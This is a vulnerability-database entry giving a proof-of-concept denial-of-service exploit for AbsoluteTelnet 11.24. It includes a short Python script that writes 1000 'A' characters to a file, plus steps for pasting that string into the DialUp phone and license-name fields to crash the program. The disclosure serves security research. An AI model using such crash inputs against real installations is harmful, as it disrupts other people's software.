Lucene search
K

AbsoluteTelnet 11.24 - (Phone) Denial of Service Exploit

🗓️ 11 Nov 2021 00:00:00Reported by Yehia ElghalyType 
zdt
 zdt
🔗 0day.today👁 381 Views

AbsoluteTelnet 11.24 - 'DialUp/Phone' & license name Denial of Service (PoC). Steps to reproduce: 1. Download and install AbsoluteTelnet 2. Run the python script to create exploit.txt file 3. Open AbsoluteTelnet 11.24 and create a new DialUp Connection 4. Paste characters of the txt file to "DialUp -> phone" 5. Press "ok" button 6. AbsoluteTelnet crashes 7. Reopen AbsoluteTelnet 11.24 8. Copy the same characters to "license name" 9. Click "Send Error Report" button 10. AbsoluteTelnet crashes again

Code
# Exploit Title: AbsoluteTelnet 11.24 - 'Phone' Denial of Service (PoC)
# Discovered by: Yehia Elghaly
# Vendor Homepage: https://www.celestialsoftware.net/
# Software Link : https://www.celestialsoftware.net/telnet/AbsoluteTelnet32.11.24.exe
# Tested Version: 11.24
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 7 Professional x86 SP1 - Windows 10 x64

# Description: AbsoluteTelnet 11.24 - 'DialUp/Phone' & license name Denial of Service (PoC)

# Steps to reproduce:
# 1. - Download and install AbsoluteTelnet
# 2. - Run the python script and it will create exploit.txt file.
# 3. - Open AbsoluteTelnet 11.24
# 4. - "new connection file -> DialUp Connection
# 5. - Paste the characters of txt file to "DialUp  -> phone" 
# 6. - press "ok" button
# 7. - Crashed
# 8. - Reopen AbsoluteTelnet 11.24
# 9. - Copy the same characters to "license name"
# 10.- Click "Send Error Report" button
# 11.- Crashed

#!/usr/bin/python

exploit = 'A' * 1000

try: 
    file = open("exploit.txt","w")
    file.write(exploit)
    file.close()

    print("POC is created")
except:
    print("POC not created")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Nov 2021 00:00Current
7.4High risk
Vulners AI Score7.4
381